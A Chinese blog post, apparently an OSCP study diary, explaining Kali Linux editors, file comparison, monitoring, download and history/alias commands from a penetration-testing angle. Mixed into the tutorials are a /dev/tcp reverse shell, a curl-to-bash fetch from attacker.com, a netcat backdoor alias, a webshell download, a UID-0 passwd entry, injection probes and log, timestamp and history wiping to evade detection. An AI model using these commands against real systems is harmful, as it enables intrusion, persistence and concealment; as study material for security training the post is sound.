Home
avatar

静静

Day7 Kali文本编辑、比较不同、监控、下载、历史命令

关注 泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。

文本编辑器

在Kali Linux中,文本编辑器是渗透测试和系统配置的核心工具。

一、Nano编辑器:轻量级快速操作

1. 基础操作

文件操作
• 新建/打开文件:nano 文件名(支持路径跳转)
• 保存文件:Ctrl+O → 回车确认文件名
• 退出:Ctrl+X(未保存时会提示)

文本编辑
• 剪切行:Ctrl+K
• 粘贴:Ctrl+U
• 搜索:Ctrl+W → 输入关键词,Alt+W跳转下一个匹配项

2. 渗透向高级技巧

快速执行系统命令
在编辑界面按Ctrl+T,可直接执行Shell命令(如生成Payload或测试网络连接)。

修改敏感文件提权
例如通过sudo nano /etc/passwd添加UID=0的用户(需root权限):

testuser:x:0:0::/root:/bin/bash

配置文件篡改
使用nano快速编辑SSH配置(/etc/ssh/sshd_config)或Web服务日志路径,隐藏攻击痕迹。

3. 效率优化配置

启用语法高亮 & 行号
修改~/.nanorc,添加:

include "/usr/share/nano/*.nanorc"  # 语法高亮
set linenumbers                     # 显示行号
set mouse                           # 支持鼠标操作

二、Vi/Vim编辑器:渗透测试的瑞士军刀

1. 模式切换与基本操作

模式切换
• 命令模式 → 插入模式:i(光标前插入)、a(光标后插入)
• 返回命令模式:Esc

渗透常用操作
批量替换:%s/old/new/g(替换文件内所有匹配项)
快速跳转:行号(如:100跳至第100行)
执行外部命令:!命令(如:!nmap 192.168.1.1扫描目标)

2. 渗透实战场景

日志分析与篡改
使用vim打开日志文件(如/var/log/auth.log),通过/Failed password快速定位爆破尝试记录并删除。

提权漏洞利用
编辑SUID文件或Cron任务脚本,插入反向Shell代码:

bash -i >& /dev/tcp/攻击机IP/端口 0>&1

多文件协同编辑
在渗透测试中同时操作多个配置文件,用:e 文件名切换文件,:sp分屏查看。

3. 高级功能配置

启用行号与搜索高亮
~/.vimrc中添加:

set number          " 显示行号
set hlsearch        " 高亮搜索结果
syntax on           " 语法高亮

三、命令速查表(渗透向)

| 功能 | Nano命令 | Vim命令 | 渗透用途 | | - | | — | | | 保存并退出 | Ctrl+XY | :wq | 快速修改后退出 | | 搜索关键词 | Ctrl+W | /关键词 | 定位配置文件中的敏感参数 | | 执行系统命令 | Ctrl+T | :!命令 | 生成Payload或测试网络连通性 | | 批量替换 | Ctrl+\ → 输入替换词 | :%s/old/new/g | 篡改日志或配置文件内容 | | 提权操作 | sudo nano /etc/sudoers | vim /etc/passwd | 添加特权用户或SUID权限 |

四、注意事项

  1. 权限管理:渗透测试中编辑系统文件需配合sudo,避免因权限不足中断操作。
  2. 备份机制:使用nano -B:w 备份文件名保留原始文件,防止误操作。
  3. 日志清理:通过编辑器删除日志后,需清除文件时间戳(touch -r)以规避检测。

通过灵活运用这些技巧,你可以显著提升在Kali Linux中的渗透测试效率。如需更完整的命令列表,可参考man nanovimtutor

比较不同的方法和命令

1. 下载并解压扫描文件

# 下载文件
wget https://offensive-security.com/pwk-files/scans.tar.gz

# 解压到当前目录
tar -xzvf scans.tar.gz

# 进入解压后的目录
cd scans

2. 确认需要对比的文件

image-20250410225532597

3. 使用 diff 对比差异

# 基本对比(显示不同行的内容)
diff 10.11.1.8_scan_01.txt 10.11.1.8_scan_02.txt 

# 生成统一格式的差异报告(更易读)
 diff -u 10.11.1.8_scan_01.txt 10.11.1.8_scan_02.txt > diff_report.txt

# 仅关注关键信息(如开放的端口)
grep "open" 10.11.1.8_scan_01.txt > 10.11.1.8_scan_01_open.txt
grep "open" 10.11.1.8_scan_02.txt > 10.11.1.8_scan_02_open.txt 
diff -u 10.11.1.8_scan_01_open.txt 10.11.1.8_scan_02_open.txt 

image-20250410225738510

image-20250410225905274

image-20250410230243776

4. 使用 comm 对比独有/共有行

# 先排序文件(comm要求输入已排序)
sort scan_old.txt > scan_old_sorted.txt
sort scan_new.txt > scan_new_sorted.txt

# 对比文件(显示scan_old独有、scan_new独有、共有行)
comm s1.txt s2.txt 

# 仅显示新增内容(s2独有)
comm -13 s1.txt s2.txt

# 仅显示删除内容(s1独有)
comm -23 s1.txt s2.txt

image-20250410230629218

5. 使用 vimdiff 可视化对比

# 启动vimdiff并排对比
vimdiff scan_old.txt scan_new.txt

image-20250410230825363

操作指南

  1. 导航差异点: • ]c:跳转到下一个差异位置。 • [c:跳转到上一个差异位置。
  2. 合并更改(可选): • do:将右侧内容应用到左侧(Diff Obtain)。 • dp:将左侧内容应用到右侧(Diff Put)。
  3. 退出: • :qa:退出所有窗口。

6. 实战技巧(渗透测试关注点)

端口变化

# 提取新旧开放的端口列表
grep "open" scan_old.txt | awk '{print $1}' > ports_old.txt
grep "open" scan_new.txt | awk '{print $1}' > ports_new.txt
comm -13 ports_old.txt ports_new.txt  # 新增端口
comm -23 ports_old.txt ports_new.txt  # 关闭端口

服务版本变化

# 对比SSH服务版本
grep "ssh" scan_old.txt | awk '{print $4,$5}'
grep "ssh" scan_new.txt | awk '{print $4,$5}'

速查表

工具命令示例用途
diffdiff -u file1 file2生成行级差异报告
commcomm -12 sorted1 sorted2显示共有行
vimdiffvimdiff file1 file2可视化交互式对比
grepgrep "open" file过滤关键信息
sortsort file > sorted_file排序文件以适配comm

通过以上步骤,您可以高效分析扫描结果的差异,并快速定位目标系统的配置变化。

以下是 Kali Linux 中渗透测试常用命令的 高频用法解析实战场景速查,覆盖 tailwatchwgetcurlaxelhistoryalias

监控命令

1. tail:实时追踪文件变化

渗透核心用途

监控日志(如攻击痕迹、服务状态) • 追踪漏洞利用输出

常用参数

tail -f /var/log/apache2/access.log      # 实时跟踪文件末尾(-f)
tail -n 50 /var/log/auth.log             # 显示最后50行(-n)
tail --pid=进程ID -f file.log           # 跟踪文件直到进程结束

实战场景

# 实时观察 SSH 登录尝试(检测爆破行为)
tail -f /var/log/auth.log | grep "Failed password"

2. watch:周期性执行命令并监控

渗透核心用途

持续监控网络连接、进程状态观察目标服务变化

常用参数

watch -n 2 "netstat -antup | grep ESTAB"  # 每2秒刷新(-n)
watch -d "ps aux | grep metasploit"       # 高亮变化部分(-d)

实战场景

# 监控目标端口开放状态(检测防火墙规则变化)
watch -n 5 "nmap -p 80,443 192.168.1.100"

下载命令

1. wget:非交互式文件下载

渗透核心用途

下载漏洞利用代码、字典文件镜像目标网站

常用参数

wget http://example.com/exploit.py -O /tmp/exp.py  # 指定保存路径(-O)
wget --user=admin --password=p@sswd http://intranet/backup.zip  # 带认证下载
wget -r -l 2 --no-parent http://target.com/       # 递归下载目录(-r)

实战场景

# 下载并直接执行远程脚本(高风险操作!)
wget -qO- http://attacker.com/shell.sh | bash

2. curl:高级HTTP请求工具

渗透核心用途

测试API端点上传/下载Webshell绕过WAF检测

常用参数

curl -X POST -d "cmd=id" http://target.com/cmd.php  # 发送POST请求(-X, -d)
curl -H "User-Agent: Mozilla" http://target.com     # 自定义请求头(-H)
curl -o output.html http://target.com               # 保存响应内容(-o)
curl -k https://self-signed-cert.com                # 忽略SSL证书错误(-k)

实战场景

# 快速检测SQL注入漏洞(时间盲注)
curl -s "http://target.com/?id=1' AND SLEEP(5)--" -o /dev/null -w "Time: %{time_total}s"

3. axel:多线程加速下载

渗透核心用途

快速下载大文件(如字典、镜像)绕过下载限速

常用参数

axel -n 10 http://mirror.kali.org/kali.iso    # 启用10线程下载(-n)
axel -a -S https://mirrors.aliyun.com/kali   # 自动选择镜像源(-S)

实战场景

# 多线程下载字典文件(提升效率)
axel -n 8 http://wordlists.secploit.com/rockyou.txt.gz

历史记录和别名设置

1. history:管理命令行历史

渗透核心用途

回溯攻击操作清理痕迹

常用参数

history                      # 显示全部历史命令
history | grep "nmap"        # 过滤特定命令
history -c                   # 清空当前会话历史(-c)
!100                         # 执行历史记录中第100条命令

实战场景

# 快速调用历史中的漏洞扫描命令
!ssh                          # 执行最后一次ssh命令
!!                            # 重复上一条命令

2. alias:自定义命令别名

渗透核心用途

简化复杂命令隐藏恶意操作

常用配置

alias l='ls -lah'                          # 简化文件列表
alias scan='nmap -sV -Pn -T4'              # 快速扫描模板
alias http-server='python3 -m http.server' # 一键启动HTTP服务

实战场景

# 创建隐蔽后门别名(持久化需写入 ~/.bashrc)
alias innocent='echo "Hello" && nc -e /bin/sh 192.168.1.100 4444'

渗透命令速查表

| 场景 | 命令示例 | | - | | | 实时监控日志 | tail -f /var/log/nginx/access.log \| grep "sqlmap" | | 检测端口变化 | watch -n 10 "nmap -p- 192.168.1.1" | | 下载Webshell | wget http://attacker.com/shell.php -U "Mozilla" -O /var/www/html/cmd.php | | 绕过WAF | curl -X POST -H "X-Forwarded-For: 127.0.0.1" -d "param=../../etc/passwd" | | 清理痕迹 | history -d 1001 && history -c |

注意事项

  1. 日志清理:使用 history -dshred -zu ~/.bash_history 清除敏感操作记录。
  2. 隐蔽下载:通过 curl--socks5 参数或 proxychains 代理下载,避免暴露真实IP。
  3. 别名持久化:将常用别名写入 ~/.bashrc/etc/profile,重启后仍生效。

🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

扫描下方二维码,马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

Kali OSCP